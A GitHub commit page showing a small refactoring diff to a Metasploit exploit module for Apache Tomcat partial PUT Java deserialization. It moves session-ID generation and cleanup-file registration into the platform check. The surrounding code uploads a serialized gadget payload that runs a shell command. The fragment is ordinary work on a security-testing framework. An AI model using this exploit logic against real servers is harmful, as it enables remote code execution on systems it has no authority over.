Skip to content

Commit 3fa7fe6

Browse files
committed
Consolidated Platform check
1 parent c32a341 commit 3fa7fe6

File tree

1 file changed

+4
-8
lines changed

1 file changed

+4
-8
lines changed

modules/exploits/multi/http/tomcat_partial_put_deserialization.rb

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -128,29 +128,25 @@ def execute_command(cmd, _opts = {})
128128
end
129129

130130
def upload_payload(cmd)
131+
# Generate a random session id
132+
session_id = Rex::Text.rand_text_alpha(10)
131133
# Determine the shell
132134
case target['Platform']
133135
when ['unix', 'linux']
134136
shell = 'bash'
137+
register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
135138
when 'win'
136139
shell = 'cmd'
140+
register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
137141
else
138142
fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
139143
end
140144

141-
# Generate a random session id
142-
session_id = Rex::Text.rand_text_alpha(10)
143145
res = send_partial_put(
144146
generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
145147
"#{session_id}.session"
146148
)
147149

148-
case target['Platform']
149-
when ['unix', 'linux']
150-
register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
151-
when 'win'
152-
register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
153-
end
154150
# 201/204 is the normal success code
155151
# 409 indicates a conflict or file permission issue
156152
# but the partial file will still be created

0 commit comments

Comments
 (0)